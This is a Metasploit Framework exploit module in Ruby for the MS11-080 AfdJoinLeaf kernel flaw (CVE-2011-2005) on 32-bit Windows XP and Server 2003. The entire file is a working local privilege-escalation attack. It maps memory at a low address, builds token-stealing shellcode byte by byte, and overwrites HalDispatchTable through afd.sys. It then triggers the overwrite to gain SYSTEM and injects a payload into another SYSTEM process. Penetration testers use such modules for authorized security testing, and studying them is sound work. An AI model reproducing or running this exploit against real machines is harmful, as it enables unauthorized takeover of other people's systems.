##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'

class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking
  # Average because this module relies on memory corruption within the
  # kernel, this is inherently dangerous.  Also if the payload casues
  # the system process that it was injected into to die then it's also
  # possible that the system may become unstable.

  include Msf::Post::Common
  include Msf::Post::Windows::Priv

  def initialize(info={})
    super(update_info(info, {
      'Name'          => 'MS11-080 AfdJoinLeaf Privilege Escalation',
      'Description'    => %q{
        This module exploits a flaw in the AfdJoinLeaf function of the
        afd.sys driver to overwrite data in kernel space.  An address
        within the HalDispatchTable is overwritten and when triggered
        with a call to NtQueryIntervalProfile will execute shellcode.

        This module will elevate itself to SYSTEM, then inject the payload
        into another SYSTEM process before restoring it's own token to
        avoid causing system instability.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Matteo Memelli', # original exploit and all the hard work
          'Spencer McIntyre' # MSF module
        ],
      'Arch'          => [ ARCH_X86 ],
      'Platform'      => [ 'windows' ],
      'SessionTypes'  => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Targets'       =>
        [
          [ 'Automatic', { } ],

          [ 'Windows XP SP2 / SP3',
            {
              'HaliQuerySystemInfo' => 0x16bba,
              'HalpSetSystemInformation' => 0x19436,
              '_KPROCESS' => "\x44",
              '_TOKEN' => "\xc8",
              '_UPID' => "\x84",
              '_APLINKS' => "\x88"
            }
          ],

          [ 'Windows Server 2003 SP2',
            {
              'HaliQuerySystemInfo' => 0x1fa1e,
              'HalpSetSystemInformation' => 0x21c60,
              '_KPROCESS' => "\x38",
              '_TOKEN' => "\xd8",
              '_UPID' => "\x94",
              '_APLINKS' => "\x98"
            }
          ],
        ],
      'References'    =>
        [
          [ 'CVE', '2011-2005' ],
          [ 'MSB', 'MS11-080' ],
          [ 'EDB', 18176 ],
          [ 'URL', 'http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ]
        ],
      'DisclosureDate'=> 'Nov 30 2011',
      'DefaultTarget' => 0
    }))

    register_options([
    ])

  end

  def find_sys_base(drvname)
    session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
    session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
    session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
    results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
    addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")

    addresses.each do |address|
      results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
      current_drvname = results['lpBaseName'][0..results['return'] - 1]
      if drvname == nil
        if current_drvname.downcase.include?('krnl')
          return [address, current_drvname]
        end
      elsif drvname == results['lpBaseName'][0..results['return'] - 1]
        return [address, current_drvname]
      end
    end
  end

  # Function borrowed from smart_hashdump
  def get_system_proc
    # Make sure you got the correct SYSTEM Account Name no matter the OS Language
    local_sys = resolve_sid("S-1-5-18")
    system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"

    # Processes that can Blue Screen a host if migrated in to
    dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
    session.sys.process.processes.each do |p|
      # Check we are not migrating to a process that can BSOD the host
      next if dangerous_processes.include?(p["name"])
      next if p["pid"] == session.sys.process.getpid
      next if p["pid"] == 4
      next if p["user"] != system_account_name
      return p
    end
  end

  def exploit
    if sysinfo["Architecture"] =~ /wow64/i
      print_error("Running against WOW64 is not supported")
      return
    elsif sysinfo["Architectore"] =~ /x64/
      print_error("Running against 64-bit systems is not supported")
      return
    end

    mytarget = target
    if mytarget.name =~ /Automatic/
      os = sysinfo["OS"]
      if os =~ /windows xp/i
        mytarget = targets[1]
      end
      if ((os =~ /2003/) and (os =~ /service pack 2/i))
        mytarget = targets[2]
      end
      if ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
        mytarget = targets[2]
      end

      if mytarget.name =~ /Automatic/
        print_error("Could not identify the target system, it may not be supported")
        return
      end
      print_status("Running against #{mytarget.name}")
    end

    if is_system?
      print_error("This meterpreter session is already running as SYSTEM")
      return
    end

    this_proc = session.sys.process.open
    kernel_info = find_sys_base(nil)
    base_addr = 0x1001
    print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")

    result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0)
    socket = result['return']

    irpstuff =  rand_text_alpha(8)
    irpstuff << "\x00\x00\x00\x00"
    irpstuff << rand_text_alpha(4)
    irpstuff << "\x01\x00\x00\x00"
    irpstuff << "\xe8\x00" + "4" + "\xf0\x00"
    irpstuff << rand_text_alpha(231)

    if not this_proc.memory.writable?(0x1000)
      session.railgun.add_function(
        'ntdll',
        'NtAllocateVirtualMemory',
        'DWORD',
        [
          ["DWORD", "ProcessHandle", "in"],
          ["PBLOB", "BaseAddress", "inout"],
          ["PDWORD", "ZeroBits", "in"],
          ["PBLOB", "RegionSize", "inout"],
          ["DWORD", "AllocationType", "in"],
          ["DWORD", "Protect", "in"]
        ])

      result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("L"), nil, [ 0x1000 ].pack("L"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
    end
    if not this_proc.memory.writable?(0x1000)
      print_error('Failed to properly allocate memory')
      return
    end
    this_proc.memory.write(0x1000, irpstuff)

    hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
    hKernel = hKernel['return']
    halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
    halDispatchTable = halDispatchTable['return']
    halDispatchTable -= hKernel
    halDispatchTable += kernel_info[0]
    print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")

    halbase = find_sys_base("hal.dll")[0]
    haliQuerySystemInformation = halbase + mytarget['HaliQuerySystemInfo']
    halpSetSystemInformation = halbase + mytarget['HalpSetSystemInformation']
    print_status("HaliQuerySystemInformation Address: 0x#{haliQuerySystemInformation.to_s(16)}")
    print_status("HalpSetSystemInformation Address: 0x#{halpSetSystemInformation.to_s(16)}")

    #### Exploitation ####
    shellcode_address_dep   = 0x0002071e
    shellcode_address_nodep = 0x000207b8
    padding             = make_nops(2)
    halDispatchTable0x4 = halDispatchTable + 0x4
    halDispatchTable0x8 = halDispatchTable + 0x8

    restore_ptrs =  "\x31\xc0"
    restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("L")
    restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("L")
    restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("L")
    restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("L")

    tokenstealing =  "\x52"
    tokenstealing << "\x53"
    tokenstealing << "\x33\xc0"
    tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"
    tokenstealing << "\x8b\x40" + mytarget['_KPROCESS']
    tokenstealing << "\x8b\xc8"
    tokenstealing << "\x8b\x98" + mytarget['_TOKEN'] + "\x00\x00\x00"
    tokenstealing << "\x89\x1d\x00\x09\x02\x00"
    tokenstealing << "\x8b\x80" + mytarget['_APLINKS'] + "\x00\x00\x00"
    tokenstealing << "\x81\xe8" + mytarget['_APLINKS'] + "\x00\x00\x00"
    tokenstealing << "\x81\xb8" + mytarget['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00"
    tokenstealing << "\x75\xe8"
    tokenstealing << "\x8b\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
    tokenstealing << "\x8b\xc1"
    tokenstealing << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
    tokenstealing << "\x5b"
    tokenstealing << "\x5a"
    tokenstealing << "\xc2\x10"

    restore_token =  "\x52"
    restore_token << "\x33\xc0"
    restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
    restore_token << "\x8b\x40" + mytarget['_KPROCESS']
    restore_token << "\x8b\x15\x00\x09\x02\x00"
    restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
    restore_token << "\x5a"
    restore_token << "\xc2\x10"

    shellcode = padding + restore_ptrs + tokenstealing

    this_proc.memory.write(shellcode_address_dep, shellcode)
    this_proc.memory.write(shellcode_address_nodep, shellcode)
    this_proc.memory.protect(0x00020000)

    addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("s!S!L!L!L!")
    result = session.railgun.ws2_32.connect(socket, addr, addr.length)
    if result['return'] != 0xffffffff
      print_error("The socket is not in the correct state")
      return
    end

    session.railgun.add_function(
      'ntdll',
      'NtDeviceIoControlFile',
      'DWORD',
      [
        [ "DWORD", "FileHandle", "in" ],
        [ "DWORD", "Event", "in" ],
        [ "DWORD", "ApcRoutine", "in" ],
        [ "DWORD", "ApcContext", "in" ],
        [ "PDWORD", "IoStatusBlock", "out" ],
        [ "DWORD", "IoControlCode", "in" ],
        [ "LPVOID", "InputBuffer", "in" ],
        [ "DWORD", "InputBufferLength", "in" ],
        [ "LPVOID", "OutputBuffer", "in" ],
        [ "DWORD", "OutPutBufferLength", "in" ]
      ])

    session.railgun.add_function(
      'ntdll',
      'NtQueryIntervalProfile',
      'DWORD',
      [
        [ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ]
      ])

    print_status("Triggering AFDJoinLeaf pointer overwrite...")
    result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
    result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)

    if not is_system?
      print_error("Exploit failed")
      return
    end

    begin
      proc = get_system_proc
      print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}")
      host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS)
      mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024))

      print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}")
      host_process.memory.write(mem, payload.encoded)
      host_process.thread.create(mem, 0)
    rescue ::Exception => e
      print_error("Failed to Inject Payload")
      print_error(e.to_s)
    end

    # Restore the token because apparently BSODs are frowned upon
    print_status("Restoring the original token...")
    shellcode = padding + restore_ptrs + restore_token
    this_proc.memory.write(shellcode_address_dep, shellcode)
    this_proc.memory.write(shellcode_address_nodep, shellcode)

    result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
    result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
  end

end